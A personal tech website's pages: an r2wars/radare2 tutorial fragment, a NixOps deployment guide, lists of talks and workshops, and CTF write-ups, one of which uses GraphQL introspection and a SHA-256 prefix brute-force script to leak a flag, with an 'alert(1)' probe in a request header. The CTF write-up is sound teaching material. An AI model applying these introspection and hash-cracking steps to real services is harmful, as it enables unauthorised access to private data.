+ ---------+---------------- + -----------------+
| reserved |    gen space    |  max bot space   |

This might not work the first time, for example when using the default example of two bots in a memory space 1024 bytes big, each bot has (in theory) 512 bytes of memory to position itself in. Doing this for n bots in x bytes of memory results in n / x bytes per bot. This gets more problematic with a greater amount of bots in a limited memory space.

Inserting bots into the arena

Inserting the bot into the arena is as easy as writing it's assembled code into the shared memory space. The command below writes the assembled bot to the memory location 0x100.

[0x00000000]> wx e80000000058 @ 0x100

Rounds

r2wars is a round based game. This means that we need to store the state of each "player" (bot) each round, so that the others can execute their operation. When it's the players turn again, the state has to be restored, so that the player can continue execution as if nothing had happened. r2 can dump all ESIL registers using the aer command and can even print a command to set the registers, aerR.

[0x00000000]> aerR
…
aer eax = 0x00000000
…
aer esp = 0x00000000
aer ebp = 0x00000000
aer eip = 0x00000000
…

By dumping these registers, we can easily restore the state of the bot, by replacing newline chars (\n) by semicolons (;) and executing the result with r2.

Executing an instruction

After having created an "arena" and inserted a bot into the arena, we can execute an instruction, but before doing so, we still need to set up the"Progam Counter" (PC) and the "Stack Pointer" (SP) for the bot. We can do this by using the aer command, that can be used to manipulate the ESIR registers:

[0x00000000]> aer PC = 0x100
[0x00000000]> aer SP = SP + 0x100

After having done this, the VM is setup and the instruction pointer (Program Counter in ESIL slang) is pointing to the first instruction of our bot. In order to step into, we can use the aes command:

[0x00000000]> aes

We haven't seen much of our bot yet, so let's look at what's happening. r2 can print the disassembly of the instructions at a specific offset using the pd command, so let's look at what is happening at the offset 0x100, that's where our bot is located.

[0x00000105]> pd 0x4 @ 0x100
0x00000100  e800000000  call 0x105
;-- eip:
0x00000105  58        pop eax
0x00000106  0000      add byte [eax], al
0x00000108  0000      add byte [eax], al

What we've done above is we've printed the 0x4 instructions at the offset 0x100. As you can see, the instruction at 0x100 contains a call to 0x105, the pop eax instruction. Radare also displays the current location of the Instruction Pointer (eip) that is currently pointing to 0x105.

Actually playing the "game"

Well, We're at the point at which you should have understood the basics, if not, DO NOT PANIC! You can read the "original" description here.

If you have the desire to play around with this, you can clone my implementation from here. It is ready to go with two example bots that you can adjust to your needs.

So from here on, you're on your own. Good luck.

NixOps

I had to read more than I'd expect from a project that fundamental, so here's a post describing the process.

Assumptions

  • You've got some server (called "Target" from here on) running NixOS with root-access.
  • You've got NixOps installed

Goal

So the goal we want to accieve is to deploy the config located on the target server from you machine. This means that on you're machine, you've got the config of the target machine (config.nix), as well as a config instructing NixOps where the machine is located (target.nix).

Let's start with the target.nix file, as it is fairly simple:

{
  target = { config, pkgs, ... }: {
    deployment.targetHost = "123.122.111.110";
  };
}

All you do here, is define the target nixos should deploy to.

The config.nix file contains the complete configuration (although a partial one should do) of the target system. A caveat here is that the configuration cannot be copied over, but has to be inserted into a predefined scheme:

{
  network.description = "nixops example";

  target = {config, lib, pkgs, ...}: {
  
  # insert complete config here
  
  };
};

Creating the deployment

The deployment can be created using the nixops create command:

> nixops create ./target.nix ./config.nix -d target
created deployment ‘6883071e-df3c-11ea-bd95-0242dcf913a0’
6883071e-df3c-11ea-bd95-0242dcf913a0

In this command, we create a new deployment called target using the config files described above as input.

We can now list all deployments using the nixops list command:

> nixops list
+--------------------------------------+--------+------------------------+------------+------+
| UUID                                 | Name   | Description            | # Machines | Type |
+--------------------------------------+--------+------------------------+------------+------+
| 6883071e-df3c-11ea-bd95-0242dcf913a0 | target | Unnamed NixOps network |          0 |      |
+--------------------------------------+--------+------------------------+------------+------+

As you can see, the deployment was created, but no machine is assigned. Let's deploy something...

Deploying

Deploying can be done using the nixops deploy command. This will build the machine configuration and copy the paths from the nix-store to the remote nix-store.

The output should look something like this:

> nixops deploy -d target
target> generating new SSH keypair... done
target> setting state version to 20.03
target> waiting for SSH...
building all machine configurations...
these derivations will be built:
  /nix/store/75kfw9jq8si7wxvb4g4zq8zxnbixnci9-etc-hosts.drv
  /nix/store/y6jy6fdxnazal0z7n9bz9rjcdzh0dpdz-unit-nscd.service.drv
  /nix/store/78vjar6qvvvkvvyk01xdri3ajiafaq37-system-units.drv
  /nix/store/ycmvrqi6bvdgs0kkckd4fnk4v65g31rw-root-authorized_keys.drv
  /nix/store/1hg189d7r2h0gfzqdsdjd1dc44y9yi8l-etc.drv
  /nix/store/hx5bmim1n8d0whl28dpqcwh12d5cw1vb-nixos-system-nixos-20.03.2260.7bb2e7e0f69.drv
  /nix/store/cilysf8jk7kjvasabml97l17nbic8i5s-nixops-machines.drv
building '/nix/store/75kfw9jq8si7wxvb4g4zq8zxnbixnci9-etc-hosts.drv'...
building '/nix/store/ycmvrqi6bvdgs0kkckd4fnk4v65g31rw-root-authorized_keys.drv'...
building '/nix/store/y6jy6fdxnazal0z7n9bz9rjcdzh0dpdz-unit-nscd.service.drv'...
building '/nix/store/78vjar6qvvvkvvyk01xdri3ajiafaq37-system-units.drv'...
building '/nix/store/1hg189d7r2h0gfzqdsdjd1dc44y9yi8l-etc.drv'...
building '/nix/store/hx5bmim1n8d0whl28dpqcwh12d5cw1vb-nixos-system-nixos-20.03.2260.7bb2e7e0f69.drv'...
building '/nix/store/cilysf8jk7kjvasabml97l17nbic8i5s-nixops-machines.drv'...
target> copying closure...
target> copying 6 paths...
target> copying path '/nix/store/9dyfcyl838rx0ih8k7a7rpiabwi8y0lk-root-authorized_keys' to 'ssh://root@138.201.190.65'...
target> copying path '/nix/store/irqfi2l3431p8wa00arg0chdr20ysad6-etc-hosts' to 'ssh://root@138.201.190.65'...
target> copying path '/nix/store/7nbv0mw6jrrw68bn297kihwdmq0fn3y2-unit-nscd.service' to 'ssh://root@138.201.190.65'...
target> copying path '/nix/store/f0x5d9s31gxzkbsrnhpqvsqrhz6rryc9-system-units' to 'ssh://root@138.201.190.65'...
target> copying path '/nix/store/bmxqa2ppi0d43fvp3drx0hgbcq3j5jv2-etc' to 'ssh://root@138.201.190.65'...
target> copying path '/nix/store/9v8jqh5izq81nb60rzcindc6nr7cqwxx-nixos-system-nixos-20.03.2260.7bb2e7e0f69' to 'ssh://root@138.201.190.65'...
target> closures copied successfully
target> updating GRUB 2 menu...
target> stopping the following units: nscd.service
target> activating the configuration...
target> setting up /etc...
target> reloading user units for root...
target> setting up tmpfiles
target> starting the following units: nscd.service
target> activation finished successfully
target> deployment finished successfully

A few things happen here:

  • A new ssh keypair is created for access to the machine.
  • All needed derivations are build
  • The closures are copied to the target
  • The GRUB menu is updated for displaying the latest generation
  • Services are stopped
  • The config is activated
  • /etc is setup
  • The users units are reloaded
  • tmpfiles are setup
  • The previously stopped services are restarted

An in the end, the nice messages "activation finished successfully" and "deployment finished successfully" indicate that the deployment has worked successfully!

Endword

This should have given you a super basic introduction on how to use an existing NixOS setup in NixOps. The current documentation is far from perfect and doing this isn't really as straitfoward as I though it could be. In the end, it works, but the process of getting it to work included more rabbit-holes that I'd like to admit.

Talks

Talks are a way of communicating with a lot of people, but only in one direction. What I'm trying to say with this, is that when a lot of people discuss one topic, it can make sense to just present that topic in a more open way (Im referring to talks here). This means, that the talks I have held in the past have mostly started with me having the same discussion with a lot of people or I've shown a lot of people the same stuff and thought "I should do this for everyone in the room".

2021

Talks held in 2021

betreutes hacken

"Betreutes hacken" (german for "supervised hacking") was a fairly spontaneous talk during the Respawn2Reboot divoc on Sunday, the 3rd of April.

The "talk" was kind of me starting to solve some basic crypto challenges from a ctf running and more and more people tuning in starting to listen and ask questions. In the end, about 20-25 people were watching and apparently found it quite nice.

As I didn't really plan any talk, this was more of a live "I'm sharing my screen and you get to watch live what is actually happening". Although a concept that isn't seen as much, I think that it might be fairly helpful for new people.

In the end, the people disappeared into nowhere, but a few gathered into small groups and started participating in the ctf. It was awesome to see people that had no previous experience having fun on some seemingly braindead challenges, that where new to them.

Conclusion: I might do this again.

2020

Talks held in 2020

r2wars teaser

Held at chaosdorf, wiki page on 2020-02-28.

A talk giving an introduction to the radare2 project and the concept of r2wars with the intention of holding some kind of workshop after which the people can battle with their bots (didn't work out due to corona).

2019

Talks held in 2019

CTF in a box

Held at 36c3, on 2019-12-29. (fahrplan, recording)

A talk giving an overview on the common CTF frameworks and how I built the one for the DorfCTF.

Paged Out!

Held at chaosdorf, wiki page on 2019-08-16.

A talk giving an introduction to the Paged Out! project (how it works, what can be done to participate, etc.).

Awesome Pair Programming

Held at chaosdorf, wiki page on 2019-07-26.

An introduction to X multicursors and how a lot of people can control independant mouses on the same computer.

Honeypots - Eskalation

Held at chaosdorf, wiki page on 2019-06-07.

As we played a bit with some self-build honeypots, things escalated a bit and we soon had a fairly big suite of tools and a nice monitoring stack. This gives a presentation of the learnings.

Blogposts with more infos

CTF vorstellung

Held at chaosdorf, wiki page on 2019-04-24.

As the chaosdorf is celebrating it's 18th birthday, we though it would be a nice idea to host some kind of CTF.

Terrain Generation and Eevee

Held at chaosdorf, wiki page on 2019-02-08.

This talk was about how to generatate terrain with the blender ANT-landscape addon and due to the Blender 2.8 Beta now feauturing the Eevee render engine, it is possible to view the results of how the shadows and reflections behave in real time.

2018

Talks held in 2018

Freitagsfoo gestern, heute, morgen

Held at 35c3 on 2017-10-13 fahrplan slides recording.

This talk was a recap, a reflection of the current situtation and a foresight on how open evenings in hackspaces may be organized, the problems that might occurr and how we manage to host such an event that people like.

CTF foo

Held at chaosdorf, wiki page on 2018-11-16.

We played some CTF and held a presentation on some interesting challenges.

Cargo cult recap

Held at chaosdorf, wiki page on 2018-11-16.

We started the "cargo cult" event, an event dedicated to golang and rust users and gave a recap on what happend with the intention of finding potentially interested people.

Galaxien Simulieren

Held at chaosdorf, wiki page on 2018-10-12.

A talk giving an overview on how to simulate galaxies, or to be more percise: how to predict the position of a body in a group of other bodies with forces acting between them.

kekse

Held at chaosdorf, wiki page on 2018-10-05.

An introduction on how to use boolean modifiers in blender in order to create positives that can be 3d printed in order to create negative silicon forms that can be used for creating chocolate cookies.

i3wm + mate

Held at chaosdorf, wiki page on 2018-09-14.

An introduction on how to combine the desktop environment Mate with the windowmanager i3wm.

Blender 2.8 Beta

Held at chaosdorf, wiki page on 2018-08-31.

An introduction to the Blender 2.8 Beta, as is a fairly big step in terms of UX design and might make using blender easier for beginners.

insect.sh

Held at chaosdorf, wiki page on 2018-07-20.

A small introduction to insect.sh, a calculator with "full support for physical units".

vim adventures

Held at chaosdorf, wiki page on 2018-07-20.

A small talk introducing people to vim and the vim adventures, a way to learn how to navigate in vim.

2017

Talks held in 2017

Satellite Collisions / Galaxy visualization

Held at chaosdorf, wiki page on 2017-10-13.

This talk gave an overview of my Jugend Forscht Projects:

  • Satellite Collisions was a project in which I built Software to parse TLEs in order to predict possible satellite collisions.
  • Galaxy Visualization was a project in which I visualized galaxies using blender.

Workshops

Workshops are talks, but longer and interactive allowing the participants to experience a topic on their own, but in a helping environment that makes progressing much easier than in an isolated environment.

The following pages are ment to bundle the workshops I've held.

2019

Workshops held in 2019

There were a lot of pacman_lara_croft workshops, due to them being quite fun.

09-28 | Blender 2.8 | chaosdorf

Held at the Chaosdorf on 2020-09-28

The Blender 2.8 Workshop was a whole day workshop introducing the participants to the Blender ecosystem. This ment starting at the very basics and providing a wide overview of the whole system, as well as going into detail in topics the participants were interested in. Overall, the gaol was to get the participants into a state in which they are able to progress on their own, having a good foundation to work on.

07-05 | Von Pacman bis Lara Croft | Stätische Benzenberg Realschule

Held at the Benzenberg Realschule on 2020-07-05

The "Von PacMan bis Lara Croft" workshop is ment to give students an introduction to the world of creating digital 3D objects. The takes place for half the day (replaces one school day for the students) in which we alternate between explaining new topics and actively working on them. This is hosted by the ZDI. A page on this can be found here.

05-07 | Von Pacman bis Lara Croft | Cecilien Gymnasium

Held at the Cecilien Gymnasium on 2020-05-07

The "Von PacMan bis Lara Croft" workshop is ment to give students an introduction to the world of creating digital 3D objects. The takes place for half the day (replaces one school day for the students) in which we alternate between explaining new topics and actively working on them. This is hosted by the ZDI. A page on this can be found here.

05-14 | Von Pacman bis Lara Croft | Dieter Forte Gesamtschule

Held at the Dieter Forte Gesamtschule on 2020-05-14

The "Von PacMan bis Lara Croft" workshop is ment to give students an introduction to the world of creating digital 3D objects. The takes place for half the day (replaces one school day for the students) in which we alternate between explaining new topics and actively working on them. This is hosted by the ZDI. A page on this can be found here.

03-06 | Von Pacman bis Lara Croft | Lessing Gymnasium

Held at the Lessing Gymnasium on 2020-03-06

The "Von PacMan bis Lara Croft" workshop is ment to give students an introduction to the world of creating digital 3D objects. The takes place for half the day (replaces one school day for the students) in which we alternate between explaining new topics and actively working on them. This is hosted by the ZDI. A page on this can be found here.

02-23 | Von Pacman bis Lara Croft | Heinrich Heine Universität Düsseldorf

Held at the Heinrich Heine Universität Düsseldorf on 2020-02-23

The "Von PacMan bis Lara Croft" workshop is ment to give students an introduction to the world of creating digital 3D objects. The takes place for half the day (replaces one school day for the students) in which we alternate between explaining new topics and actively working on them. This is hosted by the ZDI. A page on this can be found here.

CTF-Teams

The table below lists the CTF-Teams I've played in.

teamnamesincelinksinfo
hanemile2017-12CTF Time writeupssingleplayer account
flexerilla2017-12CTF Timefriends
dussec2020-01CTF Timeuniversity people
ALLES!2020-05CTF TimeCSCG finalists
kuchenblechmafia2020-06CTF TimeMentoring CTF team
IceBreakers2020-12CTF Timerc3 CTF team
YournameHere2020-12CTF Timepost-rc3 Attack
and Defense team

Writeup can be found in the writeups section.

Writeups

CTF writeups are there to share your solution after you've solved a challenge. That is why I'm starting to publish my writeups here.

2021

https://ctftime.org/event/list/?year=2021

2020

hacklu

Confessions

Introduction

This is a writeup for the "Confessions" challenge from the hacklu CTF. I consider this a great challenge, as it uses a technology, namely graphql, that isn't often used in most CTFs and due to me never having used it before required some searching, but not in an exaggerated way.

Getting started

The start of all challenges: getting to know the challenge. In this case, the first thing we see is a pink page:

The functionality this page provides can be described as follows: You enter a title and a message, then recieve a hash. You can post this hash anywhere and then, sometime in the future post a link containing the message.

This concept allows prooving that you've got something afterwards. For example, I used such a concept in the nahamcon-CTF to proove my complete flagleak1. Overall, this allows prooving that some information was accessible at some given time.

1

https://emile.space/writeups/2020/nahamconctf/complete-flag-leak/

Initial sourcecode view

After slightly inspecting the page, the next step would be to look into the page source:

<!doctype html>
<html>
    <head>
        <meta charset="utf-8">
        <title>Confessions 💕</title>
        <link rel="stylesheet" href="confessions.css">
    </head>
    <body>
        <h1>
            <a href="/">Confessions</a>
            💕
        </h1>

        <div id="input">
            <div class="description">
                Ever wanted to prove that you knew some secret without
                revealing it right away?
                <br><br>
                You can confess your deepest secrets here!
                Send the hash to anyone or post it.
                When you want to reveal the secret, just give them the link.
                They can then check that the hash matches the message,
                so they know that you knew that secret message when you
                published the hash!
            </div>

            <input id="title" placeholder="Title">
            <textarea id="message" placeholder="Enter your confession here..."></textarea>
            <button id="publish">Publish</button>

            <h3>Preview:</h3>
        </div>

        <div id="preview" class="confession">
            <h4 class="title">&lt;title&gt;</h4>

            <div class="label">Hash</div>
            <div class="hash">&lt;hash&gt;</div>

            <div class="label">Message</div>
            <div class="message">&lt;message&gt;</div>

            <div class="label">How to verify</div>
            <div class="how-to-verify">&lt;how to verify&gt;</div>
        </div>

        <script src="confessions.js"></script>
    </body>
</html>

The page doesn't consist of much, there's some static html content, some css and some javascript. The static content doesn't do anythig, so lets don't even bother into looking into it. The interesting part is the javascript, in this case, the confessions.js file. Let's go through it block by block:

The part below "talks with the GraphQL endpoint", so it communicates with the GraphQL system in the backend sending a JSON body containing the operation name (hardcoded to null), a query (more regarding that in the next block) and variables to the backend. It then reads the response and returns the response data.

// talk to the GraphQL endpoint
const gql = async (query, variables={}) => {
    let response = await fetch('/graphql', {
        method: 'POST',
        headers: {
            'content-type': 'application/json',
        },
        body: JSON.stringify({
            operationName: null,
            query,
            variables,
        }),
    });
    let json = await response.json();
    if (json.errors && json.errors.length) {
        throw json.errors;
    } else {
        return json.data;
    }
};

This block below defines the queries sent to the backend, these are used in the code above when sent to the baclend. More on them later on.

// some queries/mutations
const getConfession = async hash => gql('query Q($hash: String) { confession(hash: $hash) { title, hash } }', { hash }).then(d => d.confession);
const getConfessionWithMessage = async id => gql('mutation Q($id: String) { confessionWithMessage(id: $id) { title, hash, message } }', { id }).then(d => d.confessionWithMessage);
const addConfession = async (title, message) => gql('mutation M($title: String, $message: String) { addConfession(title: $title, message: $message) { id } }', { title, message }).then(d => d.addConfession);
const previewHash = async (title, message) => gql('mutation M($title: String, $message: String) { addConfession(title: $title, message: $message) { hash } }', { title, message }).then(d => d.addConfession);

The next block is just a misleading comment, as this is just random foo not relevant in any way.

// the important elements
const title = document.querySelector('#title');
const message = document.querySelector('#message');
const publish = document.querySelector('#publish');
const preview = document.querySelector('#preview');

The block below renders a given confession. Nothing of interest here.

// render a confession
const show = async confession => {
    if (confession) {
        preview.querySelector('.title').textContent = confession.title || '<title>';
        preview.querySelector('.hash').textContent = confession.hash || '<hash>';
        preview.querySelector('.message').textContent = confession.message || '<message>';
        preview.querySelector('.how-to-verify').textContent = `sha256(${JSON.stringify(confession.message || '')})`;
    } else {
        preview.innerHTML = '<em>Not found :(</em>';
    }
};

And the next block updates the preview.

// update the confession preview
const update = async () => {
    let { hash } = await previewHash(title.value, message.value);
    let confession = await getConfession(hash);
    await show({
        ...confession,
        message: message.value,
    });
};
title.oninput = update;
message.oninput = update;

This block publishes the confessoin, it adds the confession to the backend and uses the given id to redirect to the url with the appended id that is used.

// publish a confession
publish.onclick = async () => {
    title.disabled = true;
    message.disabled = true;
    publish.disabled = true;

    let { id } = await addConfession(title.value, message.value);
    location.href = `#${id}`;
    location.reload();
};

This block uses the confession id given in the url and displays that confession.

// show a confession when one is given in the location hash
if (location.hash) {
    let id = location.hash.slice(1);
    document.querySelector('#input').remove();
    getConfessionWithMessage(id).then(show).catch(() => document.write('F'));
}

Now after having some basic understanding of what this javascript does, we need a better understanding of how this actually works, as in: what can we do?, what can we break?

Inital usage

Well, we can insert a title and a message. While entering this, we get a live preview of the hash. If we look into the requests sent while typing, we see the following:

...lots and lots of requests to the /graphql endpoint. Thus our next task is born: looking into these requests.

Inspecting the sent requests

The requests sent while entering stuff look like this:

POST /graphql HTTP/1.1
Host: confessions.flu.xxx
User-Agent: alert(1)
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://confessions.flu.xxx/
content-type: application/json
Origin: https://confessions.flu.xxx
Content-Length: 187
Connection: close
Cookie: session=s%3A9wDzGivuPGi2__m1CaDR5rRuZw_DN4m1.htC5hdkX0sr4eYWb9CdTRidgXDQrBYRfpUQ28hIhOgI
Pragma: no-cache
Cache-Control: no-cache

{
  "operationName": null,
  "query": "query Q($hash: String) { confession(hash: $hash) { title, hash } }",
  "variables": {
    "hash": "014c3d0b13f6bc2d05dd32139a2178f17b1fe08ae5755882e9049817377f3c61"
  }
}

The interesting part here is the query, so from here on, I won't insert all headers into all requests.

Playing with graphql

The GraphQL documentation has a great learning section, I used this to learn the basics used further down.

Getting the schema

One of the first things I tried, was getting the schema used. this can be done using graphql introspection:

POST /graphql HTTP/1.1
Host: confessions.flu.xxx

...

Cookie: session=s%3A9wDzGivuPGi2__m1CaDR5rRuZw_DN4m1.htC5hdkX0sr4eYWb9CdTRidgXDQrBYRfpUQ28hIhOgI

{
  "operationName": null,
  "query": "{__schema {types{name}}}",
  "variables": {
    "hash": "9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08"
  }
}
{
  "data": {
    "__schema": {
      "types": [
        {
          "name": "Query"
        },
        {
          "name": "Access"
        },

		...

        {
          "name": "Int"
        }
      ]
    }
  }
}

here all the "name" values:

"Query"
"Access"
"String"
"Confession"
"Mutation"
"__Schema"
"__Type"
"__TypeKind"
"Boolean"
"__Field"
"__InputValue"
"__EnumValue"
"__Directive"
"__DirectiveLocation"
"CacheControlScope"
"Upload"
"Int"

Getting the object fields

With the schema information aquired, we can get the fields for the objects:

POST /graphql HTTP/1.1
Host: confessions.flu.xxx

...

Cookie: session=s%3A9wDzGivuPGi2__m1CaDR5rRuZw_DN4m1.htC5hdkX0sr4eYWb9CdTRidgXDQrBYRfpUQ28hIhOgI

{
  "operationName": null,
  "query": "{__type(name: \"Confession\") {name, fields { name } }}",
  "variables": {
    "hash": "Confession"
  }
}
{
  "data": {
    "__type": {
      "name": "Confession",
      "fields": [
        {
          "name": "id"
        },
        {
          "name": "title"
        },
        {
          "name": "hash"
        },
        {
          "name": "message"
        }
      ]
    }
  }
}

We've already got this information: we can extract if from the queries defined in the javascript, but netherless, It's nice to know that there aren't more fields that we're possibly overlooking.

Getting the types

When listing all types in the schema, we get an interesting result:

POST /graphql HTTP/1.1
Host: confessions.flu.xxx

...

Cookie: session=s%3A9wDzGivuPGi2__m1CaDR5rRuZw_DN4m1.htC5hdkX0sr4eYWb9CdTRidgXDQrBYRfpUQ28hIhOgI

{
  "operationName": null,
  "query": "{__schema {queryType{fields{name, description}}}}",
  "variables": {
    "hash": "9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08"
  }
}
{
  "data": {
    "__schema": {
      "queryType": {
        "fields": [
          {
            "name": "accessLog",
            "description": "Show the resolver access log. TODO: remove before production release"
          },
          {
            "name": "confession",
            "description": "Get a confession by its hash. Does not contain confidential data."
          }
        ]
      }
    }
  }
}

The "accessLog" contains a description hinting that this should be removed before taking the application into production.

Getting all access logs

As the "accessLog" should not be in production, there seems to be an error that is somehow critical. Thus, getting the accessLog seems like a logical next step. In order to get the accessLog, we first need to get the name of the fields in the accessLog, as we want to fetch all fields.

POST /graphql HTTP/1.1
Host: confessions.flu.xxx

...

Cookie: session=s%3A9wDzGivuPGi2__m1CaDR5rRuZw_DN4m1.htC5hdkX0sr4eYWb9CdTRidgXDQrBYRfpUQ28hIhOgI
Cache-Control: no-cache

{
  "operationName": null,
  "query": "{__type(name: \"Access\"){name, kind, fields{name, description, type{name, kind, description}}}}",
  "variables": {
    "id": "40dbcdf5-31ec-428a-a42e-ec2f75452efe"
  }
}
{
  "data": {
    "__type": {
      "name": "Access",
      "kind": "OBJECT",
      "fields": [
        {
          "name": "timestamp",
          "description": "",
          "type": {
            "name": "String",
            "kind": "SCALAR",
            "description": "The `String` scalar type represents textual data, represented as UTF-8 character sequences. The String type is most often used by GraphQL to represent free-form human-readable text."
          }
        },
        {
          "name": "name",
          "description": "",
          "type": {
            "name": "String",
            "kind": "SCALAR",
            "description": "The `String` scalar type represents textual data, represented as UTF-8 character sequences. The String type is most often used by GraphQL to represent free-form human-readable text."
          }
        },
        {
          "name": "args",
          "description": "",
          "type": {
            "name": "String",
            "kind": "SCALAR",
            "description": "The `String` scalar type represents textual data, represented as UTF-8 character sequences. The String type is most often used by GraphQL to represent free-form human-readable text."
          }
        }
      ]
    }
  }
}

As you can see, there are three fields: "timestamp", "name" and "args". With this information, we can now fetch the access log:

POST /graphql HTTP/1.1
Host: confessions.flu.xxx
Cookie: session=s%3A9wDzGivuPGi2__m1CaDR5rRuZw_DN4m1.htC5hdkX0sr4eYWb9CdTRidgXDQrBYRfpUQ28hIhOgI

{
  "operationName": null,
  "query": "{accessLog{timestamp, name, args}}",
  "variables": {
    "id": "40dbcdf5-31ec-428a-a42e-ec2f75452efe"
  }
}
{
  "data": {
    "accessLog": [
      {
        "timestamp": "Fri Oct 23 2020 01:46:56 GMT+0000 (Coordinated Universal Time)",
        "name": "addConfession",
        "args": "{\"title\":\"<redacted>\",\"message\":\"<redacted>\"}"
      },
      {
        "timestamp": "Fri Oct 23 2020 01:46:56 GMT+0000 (Coordinated Universal Time)",
        "name": "confession",
        "args": "{\"hash\":\"252f10c83610ebca1a059c0bae8255eba2f95be4d1d7bcfa89d7248a82d9f111\"}"
      },
      {
        "timestamp": "Fri Oct 23 2020 01:46:57 GMT+0000 (Coordinated Universal Time)",
        "name": "addConfession",
        "args": "{\"title\":\"<redacted>\",\"message\":\"<redacted>\"}"
      },
      {
        "timestamp": "Fri Oct 23 2020 01:46:57 GMT+0000 (Coordinated Universal Time)",
        "name": "confession",
        "args": "{\"hash\":\"593f2d04aab251f60c9e4b8bbc1e05a34e920980ec08351a18459b2bc7dbf2f6\"}"
      },
      {
        "timestamp": "Fri Oct 23 2020 01:46:58 GMT+0000 (Coordinated Universal Time)",
        "name": "addConfession",
        "args": "{\"title\":\"<redacted>\",\"message\":\"<redacted>\"}"
      },
      {
        "timestamp": "Fri Oct 23 2020 01:46:58 GMT+0000 (Coordinated Universal Time)",
        "name": "confession",
        "args": "{\"hash\":\"c310f60bb9f3c59c43c73ff8c7af10268de81d4f787eb04e443bbc4aaf5ecb83\"}"
      },

      ...

      {
        "timestamp": "Fri Oct 23 2020 16:09:08 GMT+0000 (Coordinated Universal Time)",
        "name": "accessLog",
        "args": "{}"
      }
    ]
  }
}

Now this is interesting. My first through was to use one of the predefined query strings in order to leak the message, but the provided function taking in a hash doesn't return the message, but just the title of the message, so we need to find another solution...

Extracting the message

On of the first things to do when getting a hash, is to throw it into crackstation and find out if it is crackable, so we extract the hashes from the accessLog response and throw the first few into crackstation. We get this as a result:

As you can see, the first n hashes consist of the first n chars from the flag. Due to crackstations wordlist not knowing the rest of the flag format, it can't show us a result. But we've got the next hashes, so in order to find out what that next char after flag is, we can simply try out all possible combinations (flaga, flagb, ...), hash them and compare the hash with the hash we've got:

import hashlib

hashes = [
"252f10c83610ebca1a059c0bae8255eba2f95be4d1d7bcfa89d7248a82d9f111",
"593f2d04aab251f60c9e4b8bbc1e05a34e920980ec08351a18459b2bc7dbf2f6",
"c310f60bb9f3c59c43c73ff8c7af10268de81d4f787eb04e443bbc4aaf5ecb83",
"807d0fbcae7c4b20518d4d85664f6820aafdf936104122c5073e7744c46c4b87",
"0577f6995695564dbf3e17ef36bf02ee73ba10ab300caf751315615e0fc6dd37",
"9271dd87ec1a208d1a6b25f8c4e3b21e36c75c02b62fafc48cf1327bac220e48",
"95f5e39cb28767940602ce3241def53c42d399ae1daf086c9b3863d50a640a81",
"62663931ff47a4c77e88916d96cad247f6e2c352a628021a1b60690d88625d75",
"5534607d1f4ee755bc11d75d082147803841bc3959de77d6159fca79a637ac77",
"52a88481cc6123cc10f4abb55a0a77bf96d286f457f6d7c3088aaf286c881b76",
"7ffcb9b3a723070230441d3c7aee14528ca23d46764c78365f5fdf24d0cdef53",
"532e4cecd0320ccb0a634956598c900170bd5c6f1f22941938180fe719b61d37",
"a4b24c8f4f14444005c7023e9d2f75199201910af98aaef621dc01cb6e63f1d1",
"1092c20127f3231234eadf0dd5bee65b5f48ffbdc94e5bf928e3605781a8c0d1",
"1e261929cc13a0e9ecf66d3e6508c14b79c305fa10768b232088e6c2bfb3efa3",
"0bb629dfb5bf8a50ef20cfff123756005b32a6e0db1486bd1a05b4a7ddfd16c7",
"0141c897af69e82bc9fde85a4c99b6e693f6eb390b9abdeda4a34953f82efa4b",
"c20ee107ba4d41370cc354bb4662f3efb6b7c14e7b652394aaa1ad0341e4a1c9",
"d6b977c1deb6179c7b9ac11fb2ce231b100cf1891a1102d02d8f7fbea057b8a0",
"fb7dc9b1be6477cea0e23fdc157ff6b67ce075b70453e55bb22a6542255093f1",
"70b652dad63cabed8241c43ba5879cc6d509076f778610098a20154eb8ac1b89",
"26f4fc4aba06942e5e9c5935d78da3512907fe666e1f1f186cf79ac14b82fcad",
"c31c26dbbcf2e7c21223c9f80822c6b8f413e43a2e95797e8b58763605aaca0d",
"eb992e46fb842592270cd9d932ba6350841966480c6de55985725bbf714a861d",
"c21af990b2bd859d99cfd24330c859a4c1ae2f13b0722962ae320a460c5e0468",
"ebf2b799b6bf20653927092dae99a6b0fc0094abc706ca1dce66c5d154b4542d",
"07a272d52750c9ab31588402d5fb8954e3e5174fcab9291e835859a5f8f34cf9",
"5a047cba5d6e0cf62d2618149290180e1476106d71bd9fdb7b1f0c41437c2ff5"
]

flag = ""

for hash in hashes:

	# build all hashes for most of the ascii range
	for i in range(32, 126):

		# define the hash
		m = hashlib.sha256()
		m.update(str(flag + str(chr(i))).encode("utf-8"))

		# if the hash of the guessed char equals the given hash, add the
		# char to the flag
		if m.hexdigest() == hash.strip("\n"):
			print(chr(i), end="")
			flag += chr(i)
			break
flag{but_pls_d0nt_t3ll_any1}

And finally, we get the flag!

b01lers

https://ctftime.org/event/1089

clear the mind

Given information

They've gotten into your mind, but haven't managed to dive that deep yet. Root them out before it becomes an issue.

$ cat ciphertext-bb416c708f242b0c70d6f2c07d646d9f.txt
Modulus: 98570307780590287344989641660271563150943084591122129236101184963953890610515286342182643236514124325672053304374355281945455993001454145469449640602102808287018619896494144221889411960418829067000944408910977857246549239617540588105788633268030690222998939690024329717050066864773464183557939988832150357227
One factor of N:  9695477612097814143634685975895486365012211256067236988184151482923787800058653259439240377630508988251817608592320391742708529901158658812320088090921919
Public key: 65537
Ciphertext: 75665489286663825011389014693118717144564492910496517817351278852753259053052732535663285501814281678158913989615919776491777945945627147232073116295758400365665526264438202825171012874266519752207522580833300789271016065464767771248100896706714555420620455039240658817899104768781122292162714745754316687483

First steps

The challenge is distributed as a file containing some information that may be used to decipher the given ciphertext

One Shot Solve

As this is an introductory challenge, we can solve it in a fairly strait-foward way, in this case using the RsaCtfTool:

$ ./RsaCtfTool.py -n 102346477809188164149666237875831487276093753138581452189150581288274762371458335130208782251999067431416740623801548745068435494069196452555130488551392351521104832433338347876647247145940791496418976816678614449219476252610877509106424219285651012126290668046420434492850711642394317803367090778362049205437 --uncipher 4458558515804625757984145622008292910146092770232527464448604606202639682157127059968851563875246010604577447368616002300477986613082254856311395681221546841526780960776842385163089662821 -e 3

...

Results for /tmp/tmpxi7twzzn:

Unciphered data :
HEX : 0x666c61677b77335f6e6565645f376f5f67305f6433657033727d
INT (big endian) : 164587995846552213349276905669580061809447554828318448024777341
